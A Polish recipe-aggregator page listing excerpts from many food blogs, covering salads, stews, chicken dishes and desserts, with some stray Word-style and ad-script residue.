bobu kilka plasterków szynki parmeńskiej około 4-5 suszonych pomidorów w oleju 2 suszone pomidory ( suche ;) ) garść szczypioru sól morska świeżo mielony pieprz łyżka oleju z orzechów włoskich  sos balsamiczny Bób wrzuciłam na wrzątek na około 10 minut. Po ugotowaniu obrałam z łupin. Szynkę pokroiłam na mniejsze kawałki. Pomidory również.  Wszystko ułożyłam na talerzu, dodałam szczypior,  sól

Jemy Pijemy
Koktajl z malin i ananasa 200

dobrobytu powinniśmy  wykorzystać te ulotne chwile, aby zaopatrzyć się w te owocowe smaki oraz witaminy. Jednym z moich ulubionych lipcowych owoców są maliny. Oprócz przepysznych ciast, musów, przetworów, sosów, czy pierogów możemy zrobić owocowy koktajl :) Składniki (3 porcje):   200g malin 1/4 dojrzałego ananasa szklanka zimnego mleka łyżeczka miodu Przygotowanie: Maliny myjemy i osuszamy. Ananasa przekrajamy na pół

ChilliJemy
Sataye z kurczaka i wołowiny z sosem orzechowym 251

Pogoda ostatnio nie rozpieszcza, ale sezon jest grillowy, więc jak słońce wyjrzy, to można coś na ruszt wrzucić. Najlepiej mięso, chociaż można też kurczaka. Tym bardziej

slodkokwasnapl
Parówki w puchatym cieście z prażoną cebulką 148

lubię te ciasto i jest ono uniwersalne. Była już cukinia ( klik ), fasolka ( klik ) i kiełbaski z mozzarellą ( klik )... Takie parówki są rewelacyjne i świetnie komponują się z ulubionym sosem. 6-7 parówek (dobrej jakości) Ciasto: 1 jajko 3/4 szklanki mąki pszennej 3/4 szklanki mleka (może być 1:1 z wodą) 2-3 łyżki prażonej cebulki 1/2 łyżeczki sody oczyszczonej

Di gotuje
Ryba w sosie curry czyli bardzo spóźnione Środowe Rybki 65 269

pochodzi z najnowszego KUKBUKa, zmodyfikowałam go jednak odrobinę.  Łatwy w przygotowaniu i BARDZO smaczny! Nawet wybredny Małżon, który rybę jada tylko w panierce, zjadł z apetytem. Ryba w sosie curry 2 łyżki oleju 2 cebule kawałek imbiru 3 ząbki czosnku 1/2 łyżeczki kurkumy po 1 łyżeczce słodkiej papryki, mielonego kuminu, kolendry, garam masali, soli 600 g filetu z dorsza

Dzieje kuchennej Wiewióry
Makaron z wędzonym łososiem 224

garnka, dodaj czosnek, liść laurowy. Gotuj przez kilka minut mieszając aż lekko zgęstnieje. Wyjmij liście laurowe i czosnek. Dodaj pokrojonego łososia. Dopraw do smaku solą i pieprzem. Do sosu dodaj makaron ugotowany al dente, wymieszaj. Przełóż na talerze, udekoruj bazylią

Darcia w kuchni
Gulasz wieprzowy z papryką 206

gotujemy na małym ogniu pod przykryciem do miękkości mięsa. Paprykę i cebule kroimy w cienkie paski, przesmażamy na patelni, dodajemy pod koniec gotowania,  gotujemy jeszcze przez 15 minut. Sos zagęszczamy mąką rozmieszaną w zimnej wodzie. Doprawiamy do smaku solą, pierzem, słodka i ostrą papryką. Kaszę pęczak gotujemy w osolonej wodzie według przepis na opakowaniu, odcedzamy. Na talerzu układamy porcję

Bajeczna Kuchnia
Makaron z sosem pomidorowym i szpinakiem 218

prawie gotowe. Warzywa nie muszą być zmiksowane na gładką masę, mogą być większe kawałki, to nic nie szkodzi. Banalnie prosty przepis, który trudno żeby się nie udał! Makaron z sosem pomidorowym i szpinakiem   Drukuj Czas przygotowania 10 min Czas gotowania 25 min Czas całkowity 35 min   Ilość porcji: 4 Składniki 500g makaron (u mnie bezglutenowy) 1 cebula

Apetyt na Zielone
Sałatka z makaronem i rukolą 259

osolonej wodzie. Ser ścieramy na tarce, słonecznik prażymy na suchej patelni. Rukolę rwiemy na mniejsze kawałki, ewentualnie pozbawiamy łodyżek. Kiedy wszystkie składniki będą zimne, łączymy je ze sobą, polewamy sosem z oliwy i octu, przyprawiamy i mieszamy

e-PrzepisyKulinarne
Sałatka z bobem i fasolką szparagową 179

obieramy bób. W szklance mieszamy oliwę, sok z cytryny, przeciśnięty przez praskę czosnek, posiekany koperek i przyprawy. Cebulę kroimy w piórka, wrzucamy do miski, dodajemy fasolkę i bób, wlewamy sos i dokładnie mieszamy

Kulinarne przygody Gatity
Turlu z warzyw bulwiastych i brukselki 149

tureckiej, choć spotyka się je również w kuchni greckiej. Turlu po turecku znaczy różnorodność i dobrze oddaje charakter tej potrawy. Tradycyjnie jest to forma gulaszu z warzyw sezonowych w sosie (o różnym stopniu gęstości). Można też przygotować alternatywną wersję w piekarniku - taką

Milion Smaków
Kurczak po portugalsku 137

rozgrzanym oleju. Odkładamy na talerz. Olej zlewamy, wlewamy maderę, czerwone wino, zagotowujemy, dokładnie mieszamy z pomidorami, sokiem, ziemniakami ( pokrojone na większe kawałki) i fasolką, ponownie doprowadzamy do wrzenia. Do sosu wkładamy kurczaka, zmniejszamy płomień i dusimy pod przykryciem ok. 40 min (od czasu do czasu mieszamy), pod koniec dodajemy zielone oliwki. Podajemy od razu po przygotowaniu. /* Style Definitions */ table.MsoNormalTable

R'n'G Kitchen
Ziołowe grillowane warzywa 165

Grillować będziemy więc każdy myśli, kaszankę, mięso, kiełbaski kupujemy i z ketchupem, sosami sobie zjemy! Ja jednak wolę warzywa grillować na różne sposoby je smakować. Kolorowe warzywa ziołami tajskimi i toskańskimi doprawiłam, delikatnie posoliłam, pieprzem smak wyostrzyłam, olejem delikatnie skropiłam i na grill wszystko razem położyłam. Warzywa z mieszanką przypraw fajnie się połączyły i ciekawy bukiet smaków utworzyły.  Danie

Moniki Smakołyki
Gołąbki bez zawijania 191

średniej główki białej kapusty 100 g ryżu 3-4 łyżki kaszy manny 1 jajko 1 duża cebula 3 ząbki czosnku bułka tarta do panierowania olej do smażenia sól, pieprz sos 1 puszka pomidorów 2 łyżki koncentratu pomidorowego 1 cebula 1 ząbek czosnku ziele angielskie liść laurowe Wykonanie: Ryż ugotować w osolonej wodzie na półtwardo. Kapustę drobno poszatkować, cebulę

magiczna kuchnia Kasi
Pomidory faszerowane ryżem i tuńczykiem 183

pomidorów: 8 dużych pomidorów oliwa 1 średnia cebula, pokrojona w kostkę 150 g ryżu basmati lub innego długoziarnistego 1 łyżeczka przecieru pomidorowego sól, pieprz 1 puszka tuńczyka w sosie własnym, odsączonego z zalewy garść liści natki pietruszki, posiekanych garść liści świeżej mięty, posiekanych garść koperku, pisiekanego skórka otarta z 1/2 sparzonej cytryny Przygotowanie faszerowanych pomidorów: Odetnij wierzchy z pomidorów

Chilli Czosnek i Oliwa
Cukinia z papryką i czosnkiem w pomidorach 138

obsmażamy czosnek. Dodajemy paprykę oraz cukinię. Obsmażamy warzywa, ąż będą al dente. Dodajemy pomidory z puszki i suszone oregano. Dusimy na małym ogniu, od czasu do czasu mieszamy, aż sos zgęstnieje. Podajemy z bulgurem, kuskusem lub inną kaszą Idealnie smakuje na ciepło i na zimno. Duszone warzywa śródziemnomorskie można zamrozić

Moja smaczna kuchnia
Kurczak w boczku 200

Kurczaka zdjąć z patelni. Wino jeszcze troszkę zredukować i wlać 2 pudełka śmietanki. Trzymać na ogniu ok 5-8 min - w razie potrzeby posolić do smaku..  Do gotowego sosu włożyć mięso posypać zielonym groszkiem i gotowe.. Ja podałam z glazurowaną marchewką i pieczonymi ziemniakami.. Smacznego

Gaździnka warzy
Letnia sałatka z tuńczykiem i makaronem 243

zakwasza a szczypior zaostrza całość. Porcja na dwie osoby: - 1,5 szklanki dowolnego ugotowanego makaronu ( świetnie sprwdzi się niewykorzystany makaron z obiadu ) - 2 średnie pomidory - 1 puszka tuńczyka w sosie własnym - 3 łyżki siekanego szczypioru, pora bądź cebulki dymki - 2 łyżki majonezu, sól, pieprz do smaku Z pomidorów należy usunąć pestki, ich obecność sprawi, że sałatka podejdzie wodą. Pomidory pokroić

kawawszklance
Zapiekanka makaronowa a 'la pizza 1269

resztą sera żółtego startego na dużych oczkach.  Wkładamy do piekarnika nagrzanego do 180st C na ok 40 minut. Dekorujemy liśćmi świeżej bazylii. Podajemy na ciepło, np z ulubionym sosem lub ketchupem

Kuchnia w czekoladzie
Polędwiczka wieprzowa z kurkami 373

przykryciem 5 minut. Dodajemy natkę i dusimy pod przykryciem 3 minuty. Dodajemy śmietanę i masło i dusimy odkryte 2 minuty. Próbujemy i w razie potrzeby solimy i pieprzymy. Do sosu, pod kurki wkładamy polędwiczki i bez przykrycia dusimy 3 minuty. Gotowe.  Danie przykrywamy i odczekujemy około 10 minut, aby polędwiczki przeszły smakiem kurek. Smacznego

Smak mojego domu
Fasolka szparagowa w pomidorach 185

Pewnie każdy z Was latem przyrządza fasolkę. Ja do tej pory robiłam ją albo z bułką tartą albo z sosem beszamelowym ( klik ). W tym roku postanowiłam przygotować fasolkę nieco inaczej. Buszując po internecie w poszukiwaniu inspiracji natrafiłam na wiele przepisów na fasolkę w pomidorach. I w ten sposób stworzyłam własną wersję, która tak posmakowała mojemu M, że teraz najchętniej jadałby

My simple kitchen
Leczo z cukinią i bobem II 215

wędzonej 3 ząbki czosnku zioła prowansalskie sól, pieprz chili (opcjonalnie) Wykonanie: Kiełbasę kroimy w pół krążki, następnie podsmażamy na patelni. Do dużego garnka wrzucamy cebulę pokrojoną w piórka, wlewamy sos pomidorowy i dokładamy podsmażoną kiełbasę. Gotujemy jakieś 10 min. Następnie do całości dokładamy pokrojoną w paski paprykę oraz pokrojoną w kostkę cukinie (oczywiście z cukinii usuwamy wcześniej gniazda nasienne; jeżeli

IMPRESJA SMAKU
Kurczak w pomidorach z puszki 427

puszki (i opcjonalnie suszone), doprawić świeżymi i suszonymi przyprawami. Dusić pod przykryciem około 20 minut. *aby smak był łagodniejszy można dodać odrobinę jogurtu naturalnego (uważaj aby nie zważyć sosu) (adsbygoogle = window.adsbygoogle || []).push

Tradycyjna Kuchnia
10 rzeczy, których nie wiedziałeś o owocach 235

możemy cieszyć się ich najsmaczniejszą wersją. Obowiązkowy dodatek większości deserów, słodkich wypieków, galaretek czy lodów. Co ciekawe, dobrze komponują się również w potrawach wytrawnych, sprawdzając się w sałatkach, mięsnych sosach czy zapiekankach. Sprawdź swoją wiedzę i dowiedz się, czy wiesz już wszystko o owocach. Na początek  maliny , te drobne czerwonawe owoce to przede wszystkim bogactwo  antyoksydantów , pektyn

Tradycyjna Kuchnia
Gulasz piwny 290

Wywar zagotowujemy i podgrzewamy bez przykrycia przez ok. 10 minut. Po tym czasie dodajemy przecier oraz passatę i ponownie całośc zagotowujemy. Solimy i pieprzymy do smaku. Do mięsa i sosu dosypujemy wszystkie przyprawy i zioła oraz cukier, mieszamy, a następnie wsypujemy warzywa. Gulasz doprowadzamy do wrzenia, zmniejszamy ogień i dusimy wszystko na małym ogniu przez

Cooking Monster
Kotlety z kalafiora 156

kotlety naprawdę są dobre. Dowód na to że mój mąż sam się do nich dobrał i jadł je z nami przez 2 dni. Oczywiście on dodał sobie do nich sos jogurtowy, my z córką zjadłyśmy z dodatkiem tylko pomidorów. Tak więc polecam, bo to szybkie, proste danie, idealne dla całej rodziny, szczególnie niejadków lub osób na diecie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Buraczkowe kotlety z kaszy jaglanej z surówką z młodej kapusty 180

przykład marchewkę. Bazą jest zawsze kasza jaglana, u mnie dzisiaj pod postacią błyskawicznych płatków, które akurat miałam pod ręką.  Do tych kotlecików najsmaczniejsze są surówki i pikantne sosy na bazie naturalnego jogurtu. Warto poeksperymentować ze smakami, żeby znaleźć najlepsze dla siebie. Składniki: 200 g błyskawicznych płatków jaglanych 3 średnie buraczki 1 większa cebula 3 duże ząbki czosnku 2 łyżki

Codzienna kuchnia niecodzienna
Surówka z młodej kapusty z chrzanem 196

kapustę odciskamy Ogórka i marchew obieramy i ścieramy na grubej tarce jarzynowej. Warzywa (ewentualnie kukurydzę również ) mieszamy z posiekanym szczypiorem, a jogurt z majonezem i chrzanem. Polewamy sałatkę sosem i dokładnie mieszamy

Proste Potrawy
Kurki, magiczna fasola, musztarda i miód - taki mały "cud", Arla Apetina 166

harmonię smaku, ma być delikatne, kremowe ale wyraziste w smaku. I tak prezentuje przed Wami mój zdecydowany numer jeden na pastę (makaron) z kurkami i magiczną fasolą w kremowym sosie o smaku musztardy i miodu, za sprawą serka od Arla Apetina.  Dlaczego magiczną fasolkę? Ha! A to jest super sprawa i nie wiem czy już Wam zdradzać sekret

SMYKWKUCHNI
Sałatka ryżowa z tuńczykiem 373

Sałatkę przygotowałam z ryżu który został mi z obiadu, wyszła bardzo smaczna. Polecam na kolację lub przyjęcie rodzinne. Składniki: 1 torebka ryżu długo ziarnistego 1 puszka tuńczyka sosie własnym 1 żółta papryka mała puszka groszku zielonego Bonduelle pół pęczka szczypiorku 3-4 łyżki majonezu sól, pieprz Sposób przygotowania: Ryż gotujemy w osolonej wodzie według przepisu na opakowaniu, odstawiamy do ostudzenia

Bajeczna Kuchnia
kotlety ze schabu pieczone z papryką i pomidorem 197

zmniejszamy temperaturę do 175 stopni i pieczemy dalsze 40 minut. Upieczone kotlety wyjmujemy z piekarnika, posypujemy  posiekaną natką pietruszki, lub bazylią i  nakładamy na talerze. mięso polewamy sosem z warzyw i podajemy z ulubionymi dodatkami

Miód i pieprz
Sałatka a'la Cezar 242

oczyścić i pokroić w szerokie pasy. Przełożyć do plastikowego pojemnika, dodać tymianek, sól, pieprz, słodką paprykę, olej. Dokładnie wetrzeć marynatę. Włożyć do lodówki na minimum 2 godziny. Składniki na sos: -2 łyżki majonezu - 1 łyżeczka musztardy stołowej - 1 łyżeczka soku z cytryny - 1 łyżeczka oliwy - ząbek czosnku - pieprz do smaku Przygotowanie: 1.  Wszystkie składniki razem wymieszać. Składniki na grzanki

Coś z niczego
Kluski śląskie 181

Mimo, iż jest to przepis tradycyjnie śląski, wiele osób go bardzo dobrze zna. Idealnie pasują podawane z pieczeniami, ciemnymi sosami , a przede wszystkim są bardzo proste w wykonaniu. Smacznego! ;) Kluski śląskie Składniki: 0,5 kg ziemniaków jajko mąka ziemniaczana sól Sposób wykonania: Ziemniaki gotujemy w osolonej wodzie. Po ostudzeniu przeciskamy przez praskę.  Ziemniaki wkładamy do miski i dzielimy

Smaki Natalii
Sałatka z ryżem i tuńczykiem 190

Szybka i sycąca sałatka na zaspokojenie głodu. Polecam! ; ) Sałatka z ryżem i tuńczykiem Składniki: 1 woreczek ugotowanego ryżu 1 puszka tuńczyka w sosie własnym 3-4 ogórki kiszone 1 papryka czerwona 1 łyżka posiekanych kaparów(opcjonalnie) 1-2 łyżki majonezu 1 łyżeczka musztardy  świeże zioła(np.koperek/szczypiorek) sól,pieprz Sposób wykonania: Ryż przekładamy do głębokiej miski, dodajemy tuńczyka. Ogórki

Smaki Natalii
Pikantna sałatka z ryżem 168

dłużej miski. Cebulę, paprykę i ogórka kroimy kostkę i dodajemy do   ryżu. W osobnej misce mieszamy majonez, musztardę, czosnek przeciśnięty przez praskę oraz posiekany szczypiorek. Tak przygotowany sos wlewamy do sałatki. Dokładnie mieszamy. Można doprawić solą i pieprzem według uznania.Wkładamy do lodówki na kilka godzin

Smaki Natalii
Lekka sałatka z tuńczykiem 197

Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} Lekka sałatka z tuńczykiem Składniki: 1 puszka tuńczyka w sosie własnym 1 torebka ugotowanego brązowego ryżu ½ puszki kukurydzy 3 jajka 2 ogórki kiszone pół czerwonej papryki 2 łyżki jogurtu naturalnego sól, pieprz Sposób wykonania: W dużej misce łączymy tuńczyka, ryż

Smaki Natalii
Jajka faszerowane pastą z tuńczyka 152

Idealne zastąpienie zwykłego i monotonnego podawania jajek.  Zachęcam do wypróbowania :) Jajka faszerowane pastą z tuńczyka Składniki: 6 ugotowanych jajek 1/2 puszki tunczyka w sosie własnym 1 łyżka kaparów 1 łyżka majonezu 1 łyżeczka musztardy sól,pieprz Sposób wykonania: Ugotowane jajka przekrawamy na pól, wydrążamy żółtka i wrzucamy do dużej miski. Do żółtek dodajemy tuńczyka, kapary, majonez, musztardę oraz sól

Smaki Natalii
Kotlety z kaszy gryczanej 214

TUTAJ:  http://tradycyjnakuchnia.blogspot.com/2016/07/konkurs-kulinarny-przepis-z-kasza-w.html Kotlety z kaszy gryczanej są świetnym pomysłem na obiad, gdy nie mamy ochoty na mięso. Można podawać je same lub ze śmietaną czy ulubionym sosem, np. pomidorowym. Przepis ten zgłaszam na Konkurs kulinarny- przepis z kaszą w roli głównej Składniki: 1 szklanka kaszy gryczanej 1 cebula 1 jajko 250 - 300 g twarożku sól pieprz olej

Mama Gotuje
Co na grilla? The Seinfeld movie trailer 212

już 400-setny post! Jak świętować, to przy grillu: szaszłyki warzywne , (własnego pomysłu) sos czosnkowy (zmiksuj: 1 opakowanie fety, 1 opakowanie jogurtu naturalnego, kilka liści świeżej bazylii, 2-3 ząbki czosnku) i tosty pomysłu moich rodziców. Aby przygotować tosty, posmaruj kromki chleba pastą przyrządzoną ze startego sera żółtego, czosnku i masła i podpiecz na grillu - bardzo aromatyczne, szybkie i pyszne

Qlinarnie i Qlinarnie
Kluski łyżką kładzione 175

mnie od zawsze to kluski łyżą ćpane, ale napisałam kładzione, żeby ładniej brzmiało. Niby nic takiego, mąka, sól, woda i jajko, a smakują wyśmienicie. Idealne do wszelkiego rodzaju sosów, np. mięsny, z tłuszczykiem, z przysmażonym boczkiem i kapustką do tego. Ja uwielbiam otulone masełkiem i z solą, Można je jeść na słodko z cukrem lub też dodawać do zupy. Pełna

Wołowina od rekina
Nuggetsy z kalafiora 222

kalafiora Przepis na ok 10-12 nuggetsów Potrzebujemy: pół średniej wielkości kalafiora 1 ząbek czosnku 3 łyżeczki płatków drożdżowych 1 łyżeczka curry 1 łyżeczka suszonego tymianku 1 łyżeczka sosu sojowego 1 łyżka mąki pieprz, sól Panierka: płatki kukurydziane np. cornflakes (lub mąka kukurydziana) Przygotowanie: Potrzebną część kalafiora myjemy, dzielimy na różyczki i gotujemy w osolonej wodzie. Po ugotowaniu odcedzamy, rozgniatamy

Bananowe Pole
Udzce z kurczaka w dymnym sosie 175

płynie do różnych potraw. Naturalny dym wędzarniczy w płynie oraz olej o dymnym aromacie kupicie w sklepie  Dobra kiełbasa . Udźce z kurczaka  w dymnym sosie Czas przygotowania: 60 minut + marynowanie Składniki Marynata: 500 ml wody 1 łyżka soli 3 łyżki  naturalnego dymu wędzarniczego w płynie do kurczaka 8 udźców z kurczaka 2 duże cebule

Kulinarne przygody Gatity
PAŁKI Z KURCZAKA PIECZONE W SOSIE BARBECUE 219

jednym z angielskich sklepów znalazłam gotową marynatę barbecue. Postanowiłam, że wypróbuję zrobić kurczaka w takim sosie no i przyznam się, ze wyszedł w smaku rewelacyjny (choć nie jestem przekonana do wielu angielskich produktów, które bardzo często są z dodatkiem octu).  Składniki: * 5 pałek z kurczaka * pół szklanki marynaty barbecue  Wykonanie: Pałki z kurczaka nasmarować marynatą

Zrób to smacznie
Quiche z pieczonymi pomidorami w sosie z pesto i ricotty (Quiche con pesto, ricotta e pomodori al forno) 197

Quiche z ciasta francuskiego z pieczonymi pomidorami w sosie z pesto i ricotty to bardzo aromatyczne danie, proste a zarazem szybkie w przygotowaniu. Smacznego :) **** La quiche di pasta sfoglia con pomodori al forno e sugo di pesto e ricotta e' un piatto molto aromatico e gustoso, semplice e veloce da realizzare. Buon appetito :) SKŁADNIKI 1 opakowanie ciasta francuskiego

La grande e la piccola cuoca
Poniedziałkowy "fit" - Sałatka z kurczakiem gyros 318

zabrać ją ze sobą do pracy i najczęściej tak właśnie czynię. Do jej przygotowania potrzeba niewiele, a większość z nas uwielbia smak klasycznego gyrosa. Dla urozmaicenia możemy dodać ulubiony sos np czosnkowy bądź jogurtowy.   Sałatka z kurczakiem gyros Składniki : 1 filet z kurczaka około 180-200 g 150 g kapusty pekińskiej 1/2 papryki czerwonej 12-15 oliwek zielonych

Kulinarny Świat Konczi i Szpileczki
Sałatka z tuńczykiem, awokado i jajkiem w koszulce / Tuna, avocado and egg salad 462

prostszego, zapraszam! Scroll down for recipe in English Sałatka z tuńczykiem, awokado i jajkiem w koszulce (2 porcje) Składniki: 2 duże garści ulubionej mieszanki sałat 1/3 puszki tuńczyka w sosie własnym 1/2 dojrzałego dużego awokado, pokrojonego w kostkę lub paski 3 łyżki ulubionych pestek uprażonych na suchej patelni 2 jajka 1-2 łyżki octu 2 łyżki oliwy extra vergine

karmelowy
Surówka z sałaty i selera 201

zetrzeć na tarce jarzynowej o drobnych oczkach i skropić sokiem z cytryny   oraz dodać szczyptę soli. Sałatę opłukać i podzielić na kawałki, dodać do selera. Następnie przygotować sos z octu winnego, oliwy, soli, cukru, pieprzu. Polać nim sałatkę , dobrze wymieszać i podawać

Camilla w kuchni
Kotlety "ruskie" 202

Pierogi ruskie wszyscy znają i kochają a ja dziś przedstawiam inną wersję tych ruskich pierogów. Smakują obłędnie z sosem z maślanki i surówką z białej kapusty. Popróbujcie bo i szybko się je robi i znikną szybko. Takie kotlety smakują wybornie o każdej porze roku. Kotlety "ruskie". ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Pieczarki w cieście czosnkowo-paprykowym 271

prezentowałam. Pieczarki również są niezwykle smaczne i proste w przygotowaniu. Ciasto czosnkowo-paprykowe idealnie się z nimi komponuje. Ja je uwielbiam w wersji solo, ale wyśmienicie pasują do lekkiego sosu. 400g pieczarek Ciasto: 1 jajko 1/2 szklanki mleka   3/4 szklanki mąki pszennej 1/2 łyżeczki słodkiej papryki w proszku 1/3 łyżeczki czosnku w proszku 1 szczypta proszku do pieczenia

Di gotuje
Grillowanie pizzy – podstawowy przepis na ciasto i metoda grillowania 234

grillować około 1 minutę aż dno będzie brązowe. Ciasto delikatnie odwrócić i grillować 30 sekund z drugiej strony. Gotowe ciasto wyjąć z grilla i ostudzić. Wyłożyć na ciasto ulubiony sos i składniki i włożyć pizzę ze składnikami do rozgrzanego grilla na około 2-3 minuty. The post Grillowanie pizzy – podstawowy przepis na ciasto i metoda grillowania appeared first on naRuszcie.pl

naRuszcie
Grillowany kurczak z frytkami z batatów 240

pieczenia. Pieczenie: Temperatura - 200ºC Czas - ok. 25-30 minut, do czasu, gdy ładnie się przyrumienią Danie jest pyszne, zdrowe i naprawdę nieskomplikowane. Możecie użyć do niego dowolnych dodatków warzywnych, sosów, ketchupu. Ja podałam swoje z szybką sałatką z ulubionego miksu sałat, pomidora i ogórka polaną winegretem. Prosto i szybko - smacznego

Cooking Monster
Waniliowy deser jaglany. 191

deseru. Nie przypomina w smaku tradycyjnego sernika. Jest zbliżony konsystencją, jednak i ta jest bardziej zwarta. Nie smakuje też kaszą! Jest bardzo dobry, przepełniony aromatem wanilii. Doskonale smakuje z sosem malinowym, który wprowadza kwaskową nutę i przyjemną wilgotność. I co najważniejsze w tym tygodniu, nie zawiera glutenu. Wypróbujcie! Składniki: 1 szkl. kaszy jaglanej 2 szkl. mleka 200 g jogurtu naturalnego

zadanie-gotowanie
SERNIK Z CZARNĄ PORZECZKĄ 180

Słodko-słony spód, kremowy ser i kwaskowy sos – SERNIK Z... Artykuł SERNIK Z CZARNĄ PORZECZKĄ pochodzi z serwisu CookMagazine

COOKMAGAZINE
Euro 2016: 6 smacznych dań dla kibiców 225

Kroimy na kawałki ok. 1,5 cm grubości. Szczypiorek siekamy. Mleko mieszamy z jogurtem, solą, pieprzem i gałką muszkatołową. W naczyniu żaroodpornym lub formie do zapiekanek układamy ziemniaki. Polewamy sosem jogurtowym. Na bokach układamy kawałki porów, które polewamy łyżką oliwy z oliwek. Na środku układamy pierś z kurczaka. Całość posypujemy szczypiorkiem i układamy gałązki świeżego tymianku. Wstawiamy do piekarnika nagrzanego

My Chcemy Jeść
Pasta orzechowo-pomidorowa do chleba, Bagels (Seinfeld) 204

pokrywają zalecane dzienne zapotrzebowanie na kwasy omega 3). Składniki: 1 ½ szklanki orzechów włoskich ½ słoika suszonych pomidorów (+ opcjonalnie: kilka łyżek oleju z pomidorów) 2 łyżeczki koncentratu pomidorowego po 2 łyżki: sosu sojowego, soku z cytryny sól, pieprz Podpraż orzechy na suchej patelni. Przełóż do miski, dodaj pozostałe składniki i zblenduj/zmiksuj na gładką pastę. Jeśli trzeba, dopraw jeszcze do smaku. Najlepsza następnego

Qlinarnie i Qlinarnie
Nogi kaczki z agrestem 151

stron. Nogi wyjąć, tłuszcz wylać, włożyć nogi, wsypać agrest, dodać przyprawy (goździki, cynamon, kardamon), oprószyć solą i dusić pod przykryciem do miękkości. Mięso wyjąć i trzymać w cieple. Sos przecedzić i przetrzeć przez sito. Doprawić do smaku solą i miodem. Zagotować, mieszając dodać kawałki zimnego masła. Następnie zdjąć z ognia. *u mnie bieszczadzki miód jaworowy zastawa

królestwo garów
Śniadaniowa sałatka z kwiatami i jajkiem 161

talerz wykładam mieszanką sałat, na środku wstawiam jajeczko i odcinam mu wierzch. Dodaję do bratki, pocięte na pół pomidorki i rzodkiewkę w plasterkach. Olej mieszam z octem i miodem, sosem polewam sałatkę

Gotowanie i blogowanie
Dip jogurtowy z ogórkiem i miętą. 200

Sos na bazie jogurtu, czyli raita, jest idealnym dodatkiem do pikantnych dań kuchni indyjskiej. Ma za zadanie złagodzić ich ostry smak. W upalny dzień może występować w roli chłodnika. Natomiast w towarzystwie białego pieczywa będzie fajną przekąską. Przygotowałam ten dip z zamiarem podania go do curry z kurczaka. Jego orzeźwiający smak bardzo dobrze komponował się z daniem głównym. Do tego

zadanie-gotowanie
Curry z kurczaka i batatów. 163

mnie do przyrządzenia podobnego dla mojej rodzinki. Przyznaję, że trochę improwizowałam z dostępnych w domu składników, ale efekt końcowy pozostaje w klimacie kuchni indyjskiej :) Podawałam z ryżem basmati oraz sosem jogurtowym z ogórkiem i miętą . Doskonale łagodził smak pikantnego curry. Zwłaszcza, że tym razem nie pożałowałam papryczki chili ;) Składniki: 500 g filetów z piersi kurczaka 1 batat cebula 2 ząbki

zadanie-gotowanie
Keczup z cukinii 528

cukinii jest zdecydowanie jedną z nich. Zrobiliśmy więc. I jak nasze wrażenia? Dobry, nawet bardzo dobry, ale bardziej nam się kojarzy nie tyle z keczupem co po prostu z sosem pomidorowym (a konkretnie pomidorowo-cukiniowym). Jednak keczup wolimy w wersji tradycyjnej (na przykład TAKIEJ ). Ale oczywiście tak jak pisaliśmy: wyszedł bardzo dobry, zdecydowanie polecamy zrobienie.       Potrzebujemy

Marder&Marder Manufacture
Kwiatuszki z kiełbasek i ciasta francuskiego 172

Takie kwiatuszki to smaczna, szybka i ładnie wyglądająca przekąska. Idealnie smakują z ulubionym sosem lub świeżymi warzywami. Możecie użyć dowolnych kiełbasek, pamiętając aby były długie i cienkie. Chyba przerobiłam już większość rodzai i przyznam, że najlepiej do tego nadają się parówki. Tym razem postawiłam na białe kiełbaski, które delikatnie "puchną", ale mimo wszystko zamierzany efekt jest nadal widoczny. 1 płat

Di gotuje
Podsumowanie miesiąca - czerwiec 221

Bolognese z pieczarkami, którego nie udało mi się zrobić w czerwcu Tajskie curry na mleczku kokosowym z kurczakiem Zupy krem - z pieczarek, z groszku, z pomidorów Mięsko wieprzowe w sosie cebulowym Domowe nice cream - czyli lody na bazie mrożonego banana Focaccia z pysznymi dodatkami Puddingi z chia i owocami Domowe kokosanki Jagodzinaki Dżem brzoskwiniowy i/lub malinowy Zawijane bułeczki z masłem

Cooking Monster
Pikantny kalafior. 311

nazwach bardzo wielu indyjskich potraw. Gobi w formie curry, masali, zupy, smażony w cieście, będący farszem, marynowany, pieczony... Sam, lub w towarzystwie innych warzyw (bardzo często ziemniaków). W sosach rzadszych, lub bardzo gęstych. I pewnie w wielu kolejnych kombinacjach, których teraz nie pamiętam. Kiedy pomyślę o wartościach płynących ze spożywania kalafiora, to wcale się Hindusom nie dziwię: działa antyzapalnie, antyoksydacyjnie

zadanie-gotowanie
Sernik dietetyczny, delikatny i pyszny 287

masy serowej dodać dwie łyżki cukru pudru Forma okrągła o średnicy 20 cm. Spód ciasta – zbożowe ciasteczka pokruszyć,dodać zmielone migdały, wlać do ciastek roztopione masło i sos klonowy. Dokładnie wymieszać, wyłożyć masę do formy w której spód wyłożony jest papierem do pieczenia. Masę lekko przydusić, piec w nagrzanym piekarniku do 180 C przez 10 minut. Wyjąć z piekarnika

Kuchnia Pokoleń
Dietetyczny omlet z owocami 274

serkiem wiejskim, serkiem mascarpone, twarożkiem lub bitą śmietaną - w wersji na drugie śniadanie omlet możesz zaserwować z gałką lodów np. jagodowych lub pistacjowych, możesz też go polać obficie gęstym sosem np. czekoladowym - zamiast mąki owsianej możesz użyć mąki tortowej, a słodzik zastąpić 2 łyżeczkami cukru pudru Smacznego Kochani! Pięknego weekendu

SMYKWKUCHNI
LENIWE PIEROGI 201

uformować wałeczek, który lekko spłaszczyć i pokroić jak kopytka, czyli w romby. Pierogi wrzucać na lekko osolony wrzątek i gotować do wypłynięcia. Maliny rozgnieść widelcem i wymieszać z jogurtem. Sos wyłożyć na talerz, na nim ułożyć pierogi. Całość oprószyć cynamonem i karmelem. Podawać bezpośrednio po przygotowaniu

Kuchnia w opałach
Nadziana kalarepa 200

pieprzem. Mieszamy je z pokrojoną wątróbką i ponownie doprawiamy do smaku. Kalarepki napełniamy przygotowanym farszem, zalewamy bulionem i pieczemy około 20 minut w 180 C. Powstały po upieczeniu kalarepek sos mieszamy ze śmietaną i polewamy upieczone kalarepy

Zainspirowana w kuchni
Co Lila jadła w środę? 10 240

przypraw, nie zastanawiaj się i od razu wyrzuć do kosza. Szkoda zdrowia! Podwieczorek 17:30 Rogaliki z dżemem. Kolacja 19:00 Pstrąg pieczony w piekarniku i mix sałat. Standardowy sos do mixu to olej lniany, cytryna i ulubione zioła. Jeśli podoba Ci się ta seria wpisów, korzystasz z tego - daj znać. Jeśli chcesz być na bieżąco polub stronę

lady-och-mistrzyni.blogspot.com
Co Lila jadła w środę? 12 212

